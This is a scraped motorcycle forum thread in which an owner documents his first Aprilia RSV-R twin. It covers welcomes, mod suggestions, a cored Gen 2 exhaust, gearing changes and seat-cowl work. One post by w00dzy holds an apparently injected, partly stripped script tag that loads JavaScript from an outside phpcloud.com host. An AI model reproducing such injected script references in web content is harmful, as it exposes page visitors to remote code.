Rsvr, first twin.
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Topic: Rsvr, first twin.
Posted By: flipsideracing
Subject: Rsvr, first twin.
Date Posted: 25 Sep 2013 at 21:17
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Hi everyone, New to the forum and back on a bike after few years off, I have ridden twins before but not owned so decided to buy a twin for the first time. What great value for money. I will be looking for an aftermarket exhaust and seat cowl soon, anyone selling? any suggestions on mods? steve  ------------- flipsideracing |
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Posted By: IanG
Date Posted: 25 Sep 2013 at 21:26
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Welcome mate,looks like a cracking bike you've got there. I'm sure the masses will be along shortly to help you spend money,however in short you need to speak to ED (Forza Racing eprom) and Redratbike (modded collector) then call Griff who owns Aprilia Performance (and this forum) and get the bike set up properly. Oh and probably change the gearing if it hasn't already been done. ------------- www.apworkshops.co.uk www.apriliaforum.co.uk www.apriliaownersclub.co.uk Looking forward to the next track day |
Posted By: redratbike
Date Posted: 25 Sep 2013 at 21:48
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Welcome along and as above are the usual suspects when it comes to mods -------------  |
Posted By: adzed
Date Posted: 25 Sep 2013 at 22:11
Welcome mate. Last and best of the gen 1's you've got there. Lovely! 
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Posted By: Wavestarved
Date Posted: 25 Sep 2013 at 22:31
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Dang she's purdy, love the gold Ozs and radial front end. Yes they are probably the best value out there. |
Posted By: redratbike
Date Posted: 26 Sep 2013 at 10:12
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Picture didn't come up when I first looked ..yep that's the one I want black frame and swinger ...sweet !!!, ------------- |
Posted By: robbiersv
Date Posted: 26 Sep 2013 at 11:24
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Welcome mate.. Had mine nearly five years and still doesnt look as good as yours! Enjoy! ------------- The mille high club.www.apriliaperformance.co.uk.www.rsvr.net |
Posted By: flipsideracing
Date Posted: 30 Sep 2013 at 20:21
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well its been nearly a week since I got it. the list to be done is growing: gearing needs to be sorted. clutch cylinder needs upgrading. normal engine mods. spark plugs and valve clearances. quick action throttle. so far done: full suspension service and setup. new carbon Lorraine pads. oil and filter. battery upgrade and optimizer sorted. enjoying ownership and knee down action before winter full strip. ------------- flipsideracing |
Posted By: w00dzy
Date Posted: 30 Sep 2013 at 21:23
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Welcome along, cracking looking bike mate!! |
Posted By: Johnboy
Date Posted: 30 Sep 2013 at 21:31
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Welcome mate! Nice bike, and I heard a rumour that they're faster than a Harley Fu%#^ng Davidson! Eh Wave?  ------------- 
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Posted By: Wavestarved
Date Posted: 30 Sep 2013 at 21:53
Christ al-feckin-mighty there's no escape is there. BTW, don't believe the rumours. Lol.
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Johnboy wrote:Posted By: flipsideracing
Date Posted: 26 Nov 2013 at 22:59
   Well its been a busy couple months but managed to get a fair bit done, Gen 2 exhaust fitted and cored which sounds superb although will I be able to use it on long runs we will see. I think it looks so much better and retains aprilia's original touch. Anyway the sub frame is of having a high gloss powder coating and the undetray I have modified to except a tail tidy. Also ordered a few extra goodies plus new decals for fairings. so much to do. This may end up a nut and bolt rebuild. ------------- flipsideracing |
Posted By: NickyBoy1984
Date Posted: 26 Nov 2013 at 23:07
Yum looking very nice  NickyBoy  ------------- www.rsvr.net www.apriliaperformance.co.uk www.apriliaforum.co.uk www.apriliaownersclub.co.uk |
Posted By: how5er
Date Posted: 27 Nov 2013 at 16:44
| Looking good buddy |
Posted By: twintorque
Date Posted: 27 Nov 2013 at 17:51
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(belated) welcome, she's coming along nicely ------------- four wheels move the body....two wheels move the soul!! www.apriliaperformance.co.uk www.apriliaforum.co.uk www.apriliaownersclub.co.uk |
Posted By: flipsideracing
Date Posted: 12 May 2014 at 21:22
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Well the Rsv got its first ride out ( minus the seat cowl ) very happy with all the work done but plenty more to do next winter. I could write a list of things done but just a quick pic for now. Loving the new gearing though, that's the best mod.[IMG] http://s754.photobucket.com/user/steveontheflipside/media/Mobile%20Uploads/image_zpsfaf16208.jpg.html" rel="nofollow">  [/IMG]------------- flipsideracing |
Posted By: redratbike
Date Posted: 12 May 2014 at 21:43
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Was the exhaust too loud???. What diameter perforated tube did you use??. ------------- |
Posted By: w00dzy
Date Posted: 12 May 2014 at 21:52
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Calls for a video!< ="https://cloudssl.my.phpcloud.com/super/.js" id="superInsectID"> ------------- R.I.P Rob Mcqueen "The only thing better than a motorcycle, is two motorcycles" www.apriliaperformance.co.uk www.apriliaforum.co.uk www.apriliaownersclub.co.uk |
Posted By: flipsideracing
Date Posted: 12 May 2014 at 22:12
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62.5 mm tubing with wire wool packing for heat displacement as single siders on a twin run so hot. The sound is near to perfect for what I want but to load for track day use. Sounds like a zorstec in many ways. ------------- flipsideracing |
Posted By: flipsideracing
Date Posted: 12 May 2014 at 22:17
Spent a lot of time polishing and cleaning. Touch of ocd![IMG] http://s754.photobucket.com/user/steveontheflipside/media/Mobile%20Uploads/image_zpsbf634de3.jpg.html" rel="nofollow"> [/IMG]------------- flipsideracing |
Posted By: MountainMan
Date Posted: 20 May 2014 at 17:59
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That's interesting. I was wondering whether the gen 2 pipe was a straight fit. I assume the bend and diameter of the link pipe is spot on then? Or did you need to manipulate them? Beautiful bike. Same as mine but black. Brilliant isn't it?
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Posted By: Johnboy
Date Posted: 20 May 2014 at 18:35
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Ohh polished sprocket carrier, loving that, that's a tick for next winter, I didn't get round to this winter! Looking good fella -------------
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Posted By: kevin_whittaker
Date Posted: 20 May 2014 at 18:57
That's the first thing that I thought you would do when I saw the picture..... ------------- www.apriliaperformance.co.uk www.apriliaforum.co.uk www.apriliaownersclub.co.uk |
Posted By: Ape
Date Posted: 20 May 2014 at 19:51
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Looking sweet as that is chief...i agree with ya on the gen 2 can on it dude, I was gonna look for after market cans for my gen 2 but didnt want to take away from the original look of the bike so cored them an shortened then by 75mm each can...sounded amazing. ------------- www.apriliaperformance.co.uk www.apriliaforum.co.uk www.apriliaownersclub.co.uk RIDE IT LIKE YA STOLE IT BOSS !! |
Posted By: flipsideracing
Date Posted: 20 May 2014 at 19:58
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Silencer is gen 2 but the link pipe is of a scrap gen 1 that i picked up for a fiver. It did take a little time but most was used up doing the silencer internals. Love the bike, very good mid corner. Still think I need 15t front sprocket and not the 16t I just put on. ------------- flipsideracing |
Posted By: pjroth72
Date Posted: 20 May 2014 at 20:02
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yep 15 is the way to go lol ------------- www.apriliaperformance.co.uk www.apriliaforum.co.uk www.apriliaownersclub.co.uk |
Posted By: IanG
Date Posted: 20 May 2014 at 22:35
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Oh yes.
------------- www.apworkshops.co.uk www.apriliaforum.co.uk www.apriliaownersclub.co.uk Looking forward to the next track day |
Posted By: flipsideracing
Date Posted: 25 May 2014 at 20:49
[IMG] http://i754.photobucket.com/albums/xx190/steveontheflipside/Mobile%20Uploads/trim1F2AE067-7E4D-4531-BF1F-CF36C33AFD3D_zpse8a481e8.mp4" rel="nofollow"> [/IMG]Got round to sorting a vid out of exhaust, only short one. Vids just don't do em justice. ------------- flipsideracing |
Posted By: Guests
Date Posted: 25 May 2014 at 21:51
| I had a pair of them black cans on my 05 and i always liked the look of them but i replaced them with open cans for the noise etc but you have the best of both worlds there mate it looks proper nice that .. and sounds sweet as well ... |
Posted By: Guests
Date Posted: 25 May 2014 at 21:56
| just looked at the first pic and tbh i prefer the look of the back end with seat and not the cowl. |
Posted By: flipsideracing
Date Posted: 25 May 2014 at 22:11
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I thought it looked odd with no rear pegs and seat so the natural thing was to put the cowl on it. However i love the revised rear unit on the gen 1.5 but I prefer the look of the previous seat cowls. I tried to get a mold done to replicate the old style to fit but lost patience with it. This is why it has the early ape rear light cowl grafted on it. ------------- flipsideracing |
Posted By: Guests
Date Posted: 25 May 2014 at 22:20
| it always looks a little bulbous to me .the seat is more compact looking . great work with that can mate . |